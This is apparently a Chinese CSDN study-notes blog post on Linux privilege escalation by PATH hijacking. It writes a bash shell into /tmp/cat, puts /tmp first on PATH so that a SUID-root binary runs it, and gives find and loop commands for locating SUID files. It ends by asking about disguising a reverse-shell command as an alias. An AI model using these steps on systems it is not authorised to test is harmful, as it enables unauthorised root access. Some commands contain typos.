内网学习第三天

本文讲述了如何通过环境变量提权,利用带有SUID权限的文件,如`cat`,通过设置环境变量PATH,将临时目录置于命令查找路径前,实现提权。文章还介绍了查找SUID文件的方法,以及使用循环脚本和别名的技巧。
摘要由CSDN通过智能技术生成

 前言

今天主要讲了一个环境变量提权


先是讲了一下什么是环境变量和局部变量,然后特殊权限位,几个查找的特殊权限位的命令。

一点点shell编程--一个列表遍历循环。

提权思路

找存在suid位的文件,这里的案例是有用cat这个外部命令的带suid位的文件,先找到这个文件,然后判断使用了cat命令,然后写一个shell到/tmp/cat目录下,然后把/tmp/cat加入到环境变量前面,再执行这个文件,从而实现提权

 

环境变量提权

前提条件

1.存在suid的文件

2.这个文件执行了一些shell命令,而且要能够判断具体的命令

环境变量

环境变量是什么

一些使用案例

 a=10                        #设置局部变量a,其值为10

export a                    #将局部变量设为环境变量

env | grep a              #查看环境变量,并过滤出a的相关部分
unset   a                   #取消变量a,不管是环境还是局部

重要的环境变量----$PATH

关于PATH相关,提示:注意大小写

echo $PATH                # 查看环境变量,这个环境变量用于查找执行外部命令时的查找路径

type  ls                        # 判断命令是不是外部命令,只有外部命令才会去查找

PATH=$PATH:/tmp    # 将/tmp目录放到查找路径的后面,命令的执行根据PATH的先后来决定

写入cat

echo “/bin/bash” > /tmp/cat

chmod 777 /trmp/cat

PATH=/tmp:$PATH     # 这里注意要是这个目录,一定要注意

cat 1.txt                        #随便执行都可以,如果有suid是root的就提权了

查找suid位的文件

用find命令

find / -user root -perm -4000  2>/dev/null -exec ls -l {} \;        -4000表示包含suid的文件

find / -user root -perm -2000   2>/dev/null -exec ls -l {} \;

find / -user root -perm -o=t  -type d  2>/dev/null -exec ls -l {} \;  粘连位都是设置到目录的

 

用循环的shell脚本

for i in `loacte -r "bin$"`;do find $i -perm -u=s -o -perm -g=s -type f 2>/dev/null;done


注意的点:

1. ``和$()                反引号和括号中的命令会优先执行
2 -r 表示使用正则表达式

3.locate命令

补充

一些命令的存储文件

在别名文件或者在命令行里面设置别名

alias  别名=“要执行的名”

alias ipconfig="ifconfig ech0"

unalias ipconfig                                                                            # 取消别名

 

 留个问题:把反弹shell的命令取个常用命令的别名会怎么样?

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值